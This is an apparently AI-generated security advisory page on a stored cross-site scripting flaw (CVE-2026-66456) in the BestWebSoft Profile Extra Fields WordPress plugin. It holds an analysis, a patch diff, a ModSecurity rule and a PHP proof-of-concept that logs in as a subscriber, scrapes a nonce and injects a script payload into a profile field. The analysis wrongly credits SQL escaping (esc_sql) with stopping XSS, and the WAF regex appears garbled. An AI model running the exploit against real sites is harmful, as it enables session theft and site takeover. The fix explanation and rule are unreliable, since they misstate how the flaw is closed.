Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66456: Profile Extra Fields by BestWebSoft <= 1.3.4 Authenticated (Subscriber+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.4
Patched Version 1.3.5
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66456: The Profile Extra Fields by BestWebSoft plugin for WordPress (versions up to and including 1.3.4) is affected by an authenticated (Subscriber+) stored Cross-Site Scripting (XSS) vulnerability. The flaw resides in the handling of user-supplied field values during profile updates and in the rendering of shortcode output. With a CVSS score of 6.4, this issue allows an attacker with low-level authenticated access to inject malicious scripts that execute in the browser of any user viewing the affected page, including administrators.

The root cause is insufficient input sanitization and output escaping across multiple code paths. In profile-extra-fields.php, the function handling profile updates (around lines 3166-3228) writes user-supplied field values to the database after applying wp_filter_post_kses in some branches but not others. For instance, the second replace call at line 3179 uses $user_value without any escaping before insertion into the prflxtrflds_user_field_data table. Similarly, in the shortcode rendering path (class-prflxtrflds-shortcode-list.php line 95), the plugin concatenates $value[‘value_name’] directly into an HTML option element without escaping, allowing stored XSS. The deletion handler in class-prflxtrflds-fields-list.php line 138 also fails to validate that the field_id parameter is an array, potentially leading to type confusion. Atomic Edge research confirms that these omissions allow unfiltered data to persist and later be rendered unsafely.

An attacker with subscriber-level access can exploit this by submitting a crafted profile update request. Using the standard profile editing form (e.g., /wp-admin/profile.php or the front-end profile form if enabled), the attacker injects a JavaScript payload into a custom field value, such as alert(document.cookie) or a more sophisticated payload that steals session tokens. The payload is stored in the database via the vulnerable wpdb->replace call in profile-extra-fields.php (line 3179) where no escaping is applied. When an administrator or any other user views the profile page or a page containing the plugin’s shortcode that outputs this field, the script executes. The nonce and capability checks are insufficient to prevent this because the attacker has a valid account and can obtain a nonce.

The patch, applied in version 1.3.5, addresses the vulnerability by adding proper output escaping and input sanitization. In profile-extra-fields.php, the wpdb->replace calls now wrap $user_value with esc_sql before database insertion (e.g., line 3169, 3180, 4226, etc.). The shortcode output in class-prflxtrflds-shortcode-list.php now uses esc_attr($value[‘value_id’]) and esc_html($value[‘value_name’]) to prevent HTML injection. Additionally, the patch adds current_user_can(‘edit_users’) checks to several admin actions (lines 2072, 2085, 2110) and uses absint instead of intval for numeric parameters. These changes ensure that user-controlled data is properly escaped and that only authorized users can perform sensitive operations. The before behavior allowed raw HTML and script tags to be stored and rendered; the after behavior neutralizes malicious payloads.

If exploited, this stored XSS vulnerability enables an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. The attacker could hijack the admin session, create new administrative accounts, modify site content, or redirect users to malicious sites. This can lead to full site compromise, data theft, and persistent backdoors. Atomic Edge analysis rates the impact as high for integrity and confidentiality, given the potential for privilege escalation from Subscriber to Administrator.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profile-extra-fields/includes/class-prflxtrflds-fields-list.php
+++ b/profile-extra-fields/includes/class-prflxtrflds-fields-list.php
@@ -135,7 +135,7 @@
 					) {
 						$nonce = filter_input( INPUT_GET, 'prflxtrflds_nonce_name', FILTER_SANITIZE_STRING );
 						if ( wp_verify_nonce( $nonce, 'prflxtrflds_nonce_name' ) ) {
-							if ( isset( $_GET['prflxtrflds_field_id'] ) ) {
+							if ( isset( $_GET['prflxtrflds_field_id'] ) && is_array( $_GET['prflxtrflds_field_id'] ) ) {
 								foreach ( $_GET['prflxtrflds_field_id'] as $id ) {
 									/** Delete all checked fields */
 									prflxtrflds_remove_field( absint( $id ) );
@@ -198,7 +198,7 @@
 								/** Create select with field types */
 								foreach ( $roles as $role ) {
 									?>
-									<option value="<?php echo intval( $role->role_id ); ?>"<?php selected( $current, $role->role_id ); ?>><?php echo esc_attr( translate_user_role( $role->role_name ) ); ?></option>
+									<option value="<?php echo absint( $role->role_id ); ?>"<?php selected( $current, $role->role_id ); ?>><?php echo esc_attr( translate_user_role( $role->role_name ) ); ?></option>
 									<?php
 								}
 							}
--- a/profile-extra-fields/includes/class-prflxtrflds-shortcode-list.php
+++ b/profile-extra-fields/includes/class-prflxtrflds-shortcode-list.php
@@ -92,7 +92,7 @@
 					} else {
 						$value_selected = '';
 					}
-					$prflxtrflds_option_list .= "<option value='" . $value['value_id'] . "' " . $value_selected . '>' . $value['value_name'] . '</option>';
+					$prflxtrflds_option_list .= "<option value='" . esc_attr( $value['value_id'] ) . "' " . $value_selected . '>' . esc_html( $value['value_name'] ) . '</option>';

 				}
 				return sprintf(
--- a/profile-extra-fields/profile-extra-fields.php
+++ b/profile-extra-fields/profile-extra-fields.php
@@ -6,7 +6,7 @@
 Author: BestWebSoft
 Text Domain: profile-extra-fields
 Domain Path: /languages
-Version: 1.3.4
+Version: 1.3.5
 Author URI: https://bestwebsoft.com/
 License: GPLv3 or later
  */
@@ -229,51 +229,6 @@
 	}
 }

-if ( ! function_exists( 'prflxtrflds_update_users' ) ) {
-	/**
-	 * Update new users and roles
-	 */
-	function prflxtrflds_update_users() {
-		global $wpdb;
-		$cache_key          = 'prflxtrflds_user_data';
-		$users_data_from_db = wp_cache_get( $cache_key );
-		if ( false === $users_data_from_db ) {
-			$users_data_from_db = $wpdb->get_results( 'SELECT `id`, `role` FROM ' . $wpdb->base_prefix . 'prflxtrflds_user_data', ARRAY_A );
-			wp_cache_set( $cache_key, $users_data_from_db );
-		}
-
-		if ( $users_data_from_db ) {
-			$all_user_in_db = array();
-			foreach ( $users_data_from_db as $user ) {
-				/** Convert to 2D-array */
-				$all_user_in_db[ $user['id'] ] = $user['role'];
-			}
-		}
-		/** Get actual WordPress data */
-		$users = get_users();
-		if ( $users ) {
-			foreach ( $users as $user ) {
-				/** Write user id and role*/
-				if ( ! isset( $all_user_in_db ) || ! array_key_exists( $user->ID, $all_user_in_db ) ) {
-					/** $all_user_in_db not exist if database empty */
-					$wpdb->insert(
-						$wpdb->base_prefix . 'prflxtrflds_user_data',
-						array(
-							'userid' => $user->ID,
-							'role'   => implode(
-								', ',
-								$user->roles
-							),
-						)
-					);
-				}
-			}
-			$users_data_from_db = $wpdb->get_results( 'SELECT `id`, `role` FROM ' . $wpdb->base_prefix . 'prflxtrflds_user_data', ARRAY_A );
-			wp_cache_set( $cache_key, $users_data_from_db );
-		}
-	}
-}
-
 if ( ! function_exists( 'prflxtrflds_settings' ) ) {
 	/**
 	 * This is settings functions
@@ -368,7 +323,7 @@
 						$data = array(
 							'field_id' => $field->field_id,
 							'show_in'  => 'register_form',
-							'value'    => $field->show_in_register_form,
+							'value'    => esc_sql( $field->show_in_register_form ),
 						);
 						$wpdb->insert( $wpdb->base_prefix . 'prflxtrflds_fields_meta', $data );
 					}
@@ -871,8 +826,8 @@
 					$wpdb->insert(
 						$wpdb->base_prefix . 'prflxtrflds_roles_id',
 						array(
-							'role'      => $role_key,
-							'role_name' => $role['name'],
+							'role'      => esc_sql( $role_key ),
+							'role_name' => esc_sql( $role['name'] ),
 						),
 						array( '%s', '%s' )
 					);
@@ -1034,7 +989,7 @@
 			$i = 1;
 			if ( isset( $_POST['prflxtrflds_available_values'] ) && is_array( $_POST['prflxtrflds_available_values'] ) ) {
 				$nonsort_available_values = array_map( 'sanitize_text_field', array_map( 'wp_unslash', $_POST['prflxtrflds_available_values'] ) );
-				$value_ids                = isset( $_POST['prflxtrflds_value_id'] ) ? array_map( 'intval', $_POST['prflxtrflds_value_id'] ) : array();
+				$value_ids                = isset( $_POST['prflxtrflds_value_id'] ) ? array_map( 'absint', $_POST['prflxtrflds_value_id'] ) : array();
 				/** Is array */
 				foreach ( $nonsort_available_values as $key => $value ) {
 					if ( '' !== $value ) {
@@ -1125,13 +1080,13 @@
 				$wpdb->replace(
 					$wpdb->base_prefix . 'prflxtrflds_fields_id',
 					array(
-						'field_id'      => $field_id,
-						'field_name'    => $field_name,
-						'required'      => $field_required,
-						'description'   => $description,
-						'show_default'  => $field_show_default,
-						'show_always'   => $field_show_always,
-						'field_type_id' => $field_type_id,
+						'field_id'      => esc_sql( $field_id ),
+						'field_name'    => esc_sql( $field_name ),
+						'required'      => esc_sql( $field_required ),
+						'description'   => esc_sql( $description ),
+						'show_default'  => esc_sql( $field_show_default ),
+						'show_always'   => esc_sql( $field_show_always ),
+						'field_type_id' => esc_sql( $field_type_id ),
 					)
 				);

@@ -1141,8 +1096,8 @@
 							$wpdb->base_prefix . 'prflxtrflds_fields_meta',
 							array(
 								'field_id' => $field_id,
-								'show_in'  => sanitize_text_field( wp_unslash( $show ) ),
-								'value'    => maybe_serialize( $value ),
+								'show_in'  => esc_sql( sanitize_text_field( wp_unslash( $show ) ) ),
+								'value'    => esc_sql( maybe_serialize( $value ) ),
 							)
 						);
 					} else {
@@ -1150,7 +1105,7 @@
 							$wpdb->base_prefix . 'prflxtrflds_fields_meta',
 							array(
 								'field_id' => $field_id,
-								'show_in'  => sanitize_text_field( wp_unslash( $show ) ),
+								'show_in'  => esc_sql( sanitize_text_field( wp_unslash( $show ) ) ),
 							)
 						);
 					}
@@ -1181,11 +1136,11 @@
 							$wpdb->replace(
 								$wpdb->base_prefix . 'prflxtrflds_roles_and_fields',
 								array(
-									'field_id'    => $field_id,
-									'role_id'     => $role_id,
-									'field_order' => $field_order,
-									'editable'    => $role_value['editable'],
-									'visible'     => $role_value['visible'],
+									'field_id'    => esc_sql( $field_id ),
+									'role_id'     => esc_sql( $role_id ),
+									'field_order' => esc_sql( $field_order ),
+									'editable'    => esc_sql( $role_value['editable'] ),
+									'visible'     => esc_sql( $role_value['visible'] ),
 								),
 								array( '%d', '%d', '%d', '%d', '%d' )
 							);
@@ -1206,11 +1161,11 @@
 							$wpdb->replace(
 								$wpdb->base_prefix . 'prflxtrflds_roles_and_fields',
 								array(
-									'field_id'    => $field_id,
-									'role_id'     => $role_id,
-									'field_order' => $old_order,
-									'editable'    => $role_value['editable'],
-									'visible'     => $role_value['visible'],
+									'field_id'    => esc_sql( $field_id ),
+									'role_id'     => esc_sql( $role_id ),
+									'field_order' => esc_sql( $old_order ),
+									'editable'    => esc_sql( $role_value['editable'] ),
+									'visible'     => esc_sql( $role_value['visible'] ),
 								),
 								array( '%d', '%d', '%d', '%d', '%d' )
 							);
@@ -1223,7 +1178,7 @@
 						array(
 							'field_id'    => $field_id,
 							'role_id'     => 0,
-							'field_order' => $field_order,
+							'field_order' => esc_sql( $field_order ),
 						),
 						array( '%d', '%d', '%d' )
 					);
@@ -1299,8 +1254,8 @@
 						$wpdb->insert(
 							$wpdb->base_prefix . 'prflxtrflds_field_values',
 							array(
-								'value_name' => $value_name,
-								'field_id'   => $field_id,
+								'value_name' => esc_sql( $value_name ),
+								'field_id'   => esc_sql( $field_id ),
 							)
 						);
 					}
@@ -1322,9 +1277,9 @@
 							$wpdb->insert(
 								$wpdb->base_prefix . 'prflxtrflds_field_values',
 								array(
-									'value_name' => $value['value_name'],
-									'field_id'   => $field_id,
-									'order'      => $value['value_order'],
+									'value_name' => esc_sql( $value['value_name'] ),
+									'field_id'   => esc_sql( $field_id ),
+									'order'      => esc_sql( $value['value_order'] ),
 								)
 							);
 							$result_id                          = $wpdb->insert_id;
@@ -1430,9 +1385,9 @@
 			<?php
 		}
 		if ( empty( $field_id ) ) {
-			$action = '?page=profile-extra-field-add-new.php&edit=1';
+			$action = admin_url( 'profile-extra-fields.php?page=profile-extra-field-add-new.php&edit=1' );
 		} else {
-			$action = sprintf( '?page=profile-extra-field-add-new.php&edit=1&prflxtrflds_field_id=%d', $field_id );
+			$action = admin_url( sprintf( 'profile-extra-fields.php?page=profile-extra-field-add-new.php&edit=1&prflxtrflds_field_id=%d', $field_id ) );
 		}
 		$action_url = $action . $tab_action_true;
 		?>
@@ -2114,7 +2069,7 @@

 		$plugin_basename = plugin_basename( __FILE__ );
 		/** Remove slug */
-		if ( isset( $_GET['remove'] ) && isset( $_GET['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'prflxtrflds_nonce_name' ) ) {
+		if ( isset( $_GET['remove'] ) && isset( $_GET['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'prflxtrflds_nonce_name' ) && current_user_can( 'edit_users' ) ) {
 			if ( isset( $_GET['prflxtrflds_field_id'] ) ) {
 				$field_id = filter_input( INPUT_GET, 'prflxtrflds_field_id', FILTER_SANITIZE_STRING );
 				prflxtrflds_remove_field( $field_id );
@@ -2127,7 +2082,8 @@
 		if ( isset( $_GET['tab-action'] ) && 'shortcode' === $_GET['tab-action'] ) {
 			if ( 0 < count( $available_fields ) ) {
 				if ( isset( $_REQUEST['prflxtrflds_form_submit'] ) &&
-					check_admin_referer( $plugin_basename, 'prflxtrflds_nonce_name' )
+					check_admin_referer( $plugin_basename, 'prflxtrflds_nonce_name' ) &&
+					current_user_can( 'edit_users' )
 				) {
 					$prflxtrflds_options['empty_value']           = isset( $_POST['prflxtrflds_empty_value'] ) ? sanitize_text_field( wp_unslash( $_POST['prflxtrflds_empty_value'] ) ) : '';
 					$prflxtrflds_options['not_available_message'] = isset( $_POST['prflxtrflds_not_available_message'] ) ? sanitize_text_field( wp_unslash( $_POST['prflxtrflds_not_available_message'] ) ) : '';
@@ -2151,7 +2107,8 @@
 				}

 				if ( isset( $_REQUEST['bws_restore_confirm'] ) &&
-					check_admin_referer( $plugin_basename, 'bws_settings_nonce_name' )
+					check_admin_referer( $plugin_basename, 'bws_settings_nonce_name' ) &&
+					current_user_can( 'edit_users' )
 				) {
 					$prflxtrflds_options = prflxtrflds_get_options_default();
 					update_option( 'prflxtrflds_options', $prflxtrflds_options );
@@ -2571,9 +2528,9 @@
 					/** If lot user ids */
 					foreach ( $user_ids as $user_id ) {
 						/** Check for existing user */
-						if ( ! is_numeric( $user_id ) || ! get_user_by( 'id', intval( $user_id ) ) ) {
+						if ( ! is_numeric( $user_id ) || ! get_user_by( 'id', absint( $user_id ) ) ) {
 							/** Show error if user id not exist, or data is uncorrect */
-							$error_message = sprintf( __( 'User with entered id(id=%1$s) does not exist!', 'profile-extra-fields' ), esc_attr( $user_id ) );
+							$error_message = sprintf( __( 'User with entered id (id=%1$s) does not exist!', 'profile-extra-fields' ), esc_attr( $user_id ) );
 						}
 					}
 				}
@@ -2604,7 +2561,7 @@
 		if ( ! empty( $param['display'] ) ) {
 			/** If this values is not supported */
 			if ( ! in_array( $param['display'], array( 'left', 'top', 'right', 'side', 'columns', 'rows' ) ) ) {
-				$error_message .= sprintf( __( 'Unsupported shortcode option(display=%1$s)', 'profile-extra-fields' ), esc_attr( $param['display'] ) );
+				$error_message .= sprintf( __( 'Unsupported shortcode option (display=%1$s)', 'profile-extra-fields' ), esc_attr( $param['display'] ) );
 			} else {
 				$display = $param['display'];
 			}
@@ -3209,9 +3166,9 @@
 											$wpdb->replace(
 												$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 												array(
-													'user_id'    => $user_id,
-													'field_id'   => intval( $id ),
-													'user_value' => wp_filter_post_kses( wp_unslash( $user_value ) ),
+													'user_id'    => esc_sql( $user_id ),
+													'field_id'   => esc_sql( absint( $id ) ),
+													'user_value' => esc_sql( wp_filter_post_kses( wp_unslash( $user_value ) ) ),
 												)
 											);
 										}
@@ -3222,9 +3179,9 @@
 										$wpdb->replace(
 											$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 											array(
-												'user_id'    => $user_id,
-												'field_id'   => intval( $id ),
-												'user_value' => $user_value,
+												'user_id'    => esc_sql( $user_id ),
+												'field_id'   => esc_sql( absint( $id ) ),
+												'user_value' => esc_sql( $user_value ),
 											)
 										);
 										$message = __( 'Profile updated', 'profile-extra-fields' );
@@ -4162,7 +4119,7 @@
 					if ( empty( $_POST['prflxtrflds_user_field_value'][ $required_id ] ) ) {
 						/** Error for non-textfield */
 						$name = isset( $_POST['prflxtrflds_field_name'][ $required_id ] ) ? sanitize_text_field( wp_unslash( $_POST['prflxtrflds_field_name'][ $required_id ] ) ) : '';
-						$errors->add( 'prflxtrflds_required_error', sprintf( __( 'Required field %1$s is not filled. Data was not saved!', 'profile-extra-fields' ), '<strong>' . $name . '</strong>' ) );
+						$errors->add( 'prflxtrflds_required_error', sprintf( __( 'Required field %1$s is not filled. Data was not saved!', 'profile-extra-fields' ), '<strong>' . esc_html( $name ) . '</strong>' ) );
 						$required_array[] = $required_id;
 					}
 				}
@@ -4174,7 +4131,7 @@
 					) {
 						if ( ! preg_match( '/^' . str_replace( '*', '[0-9]', preg_quote( $pattern ) ) . '$/', sanitize_text_field( wp_unslash( $_POST['prflxtrflds_user_field_value'][ $field_id ] ) ) ) ) {
 							$name = isset( $_POST['prflxtrflds_field_name'][ $field_id ] ) ? sanitize_text_field( wp_unslash( $_POST['prflxtrflds_field_name'][ $field_id ] ) ) : '';
-							$errors->add( 'prflxtrflds_match_error', sprintf( __( 'Field %1$s does not match %2$s. Data was not saved!', 'profile-extra-fields' ), '<strong>' . $name . '</strong>', '<strong>' . $pattern . '</strong>' ) );
+							$errors->add( 'prflxtrflds_match_error', sprintf( __( 'Field %1$s does not match %2$s. Data was not saved!', 'profile-extra-fields' ), '<strong>' . esc_html( $name ) . '</strong>', '<strong>' . $pattern . '</strong>' ) );
 						}
 					}
 				}
@@ -4185,9 +4142,9 @@
 					if ( ! empty( $_POST['prflxtrflds_user_field_value'][ $field_id ] ) &&
 						! in_array( $field_id, $required_array )
 					) {
-						$max_number = intval( $max_number );
+						$max_number = absint( $max_number );
 						if ( $max_number > 0 &&
-							intval( $_POST['prflxtrflds_user_field_value'][ $field_id ] ) > $max_number
+							absint( $_POST['prflxtrflds_user_field_value'][ $field_id ] ) > $max_number
 						) {
 							$_POST['prflxtrflds_user_field_value'][ $field_id ] = $max_number;
 						}
@@ -4205,11 +4162,11 @@
 							$d = date_create_from_format( $pattern, $_POST['prflxtrflds_user_field_value'][ $field_id ] );
 							if ( ! $d || $d->format( $pattern ) !== $_POST['prflxtrflds_user_field_value'][ $field_id ] ) {
 								$name = isset( $_POST['prflxtrflds_field_name'][ $field_id ] ) ? sanitize_text_field( wp_unslash( $_POST['prflxtrflds_field_name'][ $field_id ] ) ) : '';
-								$errors->add( 'prflxtrflds_match_error', sprintf( __( 'Field %1$s does not match %2$s. Data was not saved!', 'profile-extra-fields' ), '<strong>' . $name . '</strong>', '<strong>' . $pattern . '</strong>' ) );
+								$errors->add( 'prflxtrflds_match_error', sprintf( __( 'Field %1$s does not match %2$s. Data was not saved!', 'profile-extra-fields' ), '<strong>' . esc_html( $name ) . '</strong>', '<strong>' . $pattern . '</strong>' ) );
 							}
 						} elseif ( ! strtotime( $_POST['prflxtrflds_user_field_value'][ $field_id ] ) ) {
 							$name = isset( $_POST['prflxtrflds_field_name'][ $field_id ] ) ? sanitize_text_field( wp_unslash( $_POST['prflxtrflds_field_name'][ $field_id ] ) ) : '';
-							$errors->add( 'prflxtrflds_match_error', sprintf( __( 'Field %1$s does not match %2$s. Data was not saved!', 'profile-extra-fields' ), '<strong>' . $name . '</strong>', '<strong>' . $pattern . '</strong>' ) );
+							$errors->add( 'prflxtrflds_match_error', sprintf( __( 'Field %1$s does not match %2$s. Data was not saved!', 'profile-extra-fields' ), '<strong>' . esc_html( $name ) . '</strong>', '<strong>' . $pattern . '</strong>' ) );
 						}
 					}
 				}
@@ -4259,9 +4216,9 @@
 							$wpdb->replace(
 								$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 								array(
-									'user_id'    => $user_id,
-									'field_id'   => intval( $id ),
-									'user_value' => wp_filter_post_kses( wp_unslash( $user_value ) ),
+									'user_id'    => esc_sql( $user_id ),
+									'field_id'   => esc_sql( absint( $id ) ),
+									'user_value' => esc_sql( wp_filter_post_kses( wp_unslash( $user_value ) ) ),
 								)
 							);
 						}
@@ -4271,9 +4228,9 @@
 						$wpdb->replace(
 							$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 							array(
-								'user_id'    => $user_id,
-								'field_id'   => intval( $id ),
-								'user_value' => $user_value,
+								'user_id'    => esc_sql( $user_id ),
+								'field_id'   => esc_sql( absint( $id ) ),
+								'user_value' => esc_sql( $user_value ),
 							)
 						);
 					}
@@ -4336,8 +4293,8 @@
 						$wpdb->replace(
 							$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 							array(
-								'user_id'    => $user_id,
-								'field_id'   => intval( $id ),
+								'user_id'    => esc_sql( $user_id ),
+								'field_id'   => esc_sql( absint( $id ) ),
 								'user_value' => esc_sql( sanitize_text_field( wp_unslash( $user_value ) ) ),
 							)
 						);
@@ -4348,9 +4305,9 @@
 					$wpdb->replace(
 						$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 						array(
-							'user_id'    => $user_id,
-							'field_id'   => intval( $id ),
-							'user_value' => $user_value,
+							'user_id'    => esc_sql( $user_id ),
+							'field_id'   => esc_sql( absint( $id ) ),
+							'user_value' => esc_sql( $user_value ),
 						)
 					);
 				}
@@ -5314,7 +5271,7 @@
 				/** If array exists ( exist available fields for current user ), remove old data */
 				if ( ! empty( $_POST['prflxtrflds_not_editable'] ) ) {
 					/** Execute not_editable fields */
-					$prflxtrflds_not_editable = array_map( 'intval', $_POST['prflxtrflds_not_editable'] );
+					$prflxtrflds_not_editable = array_map( 'absint', $_POST['prflxtrflds_not_editable'] );
 					$not_editable_ids         = "'" . implode( "','", $prflxtrflds_not_editable ) . "'";

 					$wpdb->query(
@@ -5343,21 +5300,20 @@
 									$wpdb->replace(
 										$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 										array(
-											'user_id'    => $user_id,
-											'field_id'   => intval( $id ),
-											'user_value' => stripslashes( sanitize_text_field( wp_unslash( $user_value ) ) ),
+											'user_id'    => esc_sql( $user_id ),
+											'field_id'   => esc_sql( absint( $id ) ),
+											'user_value' => esc_sql( sanitize_text_field( wp_unslash( $user_value ) ) ),
 										)
 									);
 								}
 							} else {
-								$user_value = stripslashes( sanitize_text_field( wp_unslash( $val ) ) );
 								/** Insert or update value */
 								$wpdb->replace(
 									$wpdb->base_prefix . 'prflxtrflds_user_field_data',
 									array(
-										'user_id'    => $user_id,
-										'field_id'   => $id,
-										'user_value' => $user_value,
+										'user_id'    => esc_sql( $user_id ),
+										'field_id'   => esc_sql( absint( $id ) ),
+										'user_value' => esc_sql( sanitize_text_field( wp_unslash( $user_value ) ) ),
 									)
 								);
 							}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66456
# Blocks stored XSS via profile update parameter prflxtrflds_user_field_value
SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:20266645,phase:2,deny,status:403,chain,msg:'CVE-2026-66456 via Profile Extra Fields profile update',severity:'CRITICAL',tag:'CVE-2026-66456'"
  SecRule REQUEST_METHOD "@streq POST" 
    "t:none,chain"
    SecRule ARGS_POST:prflxtrflds_user_field_value "@rx <script|javascript:|onerrors*=|onloads*=" 
      "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66456 - Profile Extra Fields by BestWebSoft <= 1.3.4 - Authenticated (Subscriber+) Stored Cross-Site XSS

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Step 1: Log in as a subscriber to obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/profile.php',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the profile page to extract the nonce for profile update
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$profile_page = curl_exec($ch);
curl_close($ch);

// Extract nonce (assuming the nonce field name is _wpnonce or similar; adjust if needed)
preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Craft malicious payload for a custom field value
// Assuming the plugin adds a field named prflxtrflds_user_field_value[1] (field ID 1)
$payload = '<script>alert("XSS");</script>';

// Step 4: Submit the profile update with the payload
$post_data = [
    'action' => 'update',
    'user_id' => '2', // Replace with the subscriber's user ID
    'prflxtrflds_user_field_value' => [1 => $payload],
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/profile.php',
    'submit' => 'Update Profile'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Payload submitted. Check the profile page or shortcode output for XSS execution.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.